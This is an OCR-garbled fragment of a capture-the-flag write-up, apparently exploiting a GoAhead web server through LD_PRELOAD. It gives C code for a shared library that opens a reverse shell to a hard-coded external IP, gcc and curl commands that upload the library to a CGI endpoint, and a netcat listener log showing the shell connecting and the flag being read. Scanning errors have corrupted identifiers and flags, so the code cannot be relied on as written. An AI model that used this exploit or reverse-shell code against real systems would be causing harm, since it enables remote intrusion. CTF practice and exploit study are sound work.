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1 #include<stdio.h>

2 #include<stdlib.h>

3 #include<sys/socket.h>

4 #include<netinet/in.h>

5 char *server ip="202.182.115.203";

6 uint32 t server port=7771;

7 static void reverse shell (void)  attribute ((constructor));
8 static void reverse shell (void)

9 {

10 //socket initialize

11 int sock = socket (AF INET, SOCK STREAM, 0);

12 struct sockaddr in attacker addr = {0};

13 attacker addr.sin family = AF INET;

14 attacker addr.sin port = htons (server port);

15 attacker addr.sin addr.s addr = inet addr (server ip);
16 //connect to the server

17 if(connect (sock, (struct sockaddr *)é&attacker addr,sizeof (attacker addr))!=0)
18 exit (0);

19 //dup the socket to stdin, stdout and stderr

20 dupZ2(sock, 0);

21 dup2(sock, 1);

22  dup2(sock, 2);

23  //execute /bin/sh to get a shell
24 execve("/bin/sh", 0, 0);
25}

exp B9

1 gcc -shared -fPIC ./exp.c -0 exp.So
2 curl -X POST --data-binary @exp.so http://183.129.189.62:14000/cgi-bin/index\?LD PRELOAD\=/proc/self/fd/0
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1 root@zerosll:~# nc -lvnp 7771
2 Listening on [0.0.0.0] (family 0, port 7771)
3 Connection from [183.129.189.58] port 7771 [tcp/*] accepted (family 2, sport 54228)
4 cat /start.sh
5 #!/bin/sh
6 # Add your startup script
7 # DO NOT DELETE
8 # /etc/init.d/xinetd start;
9 echo "S$1";
10 echo "$1" > /home/ctf/flag;
11 while :
12 do
13 /usr/sbin/chroot —-userspec 1000:1000 / /home/ctf/goahead —v —-—home /home/ctf/test /home/ctf/test/web 9999
14 done

15 cat /home/ctf/flag
16 f1ag{2392862153e£30405e£5¢c972139102be}
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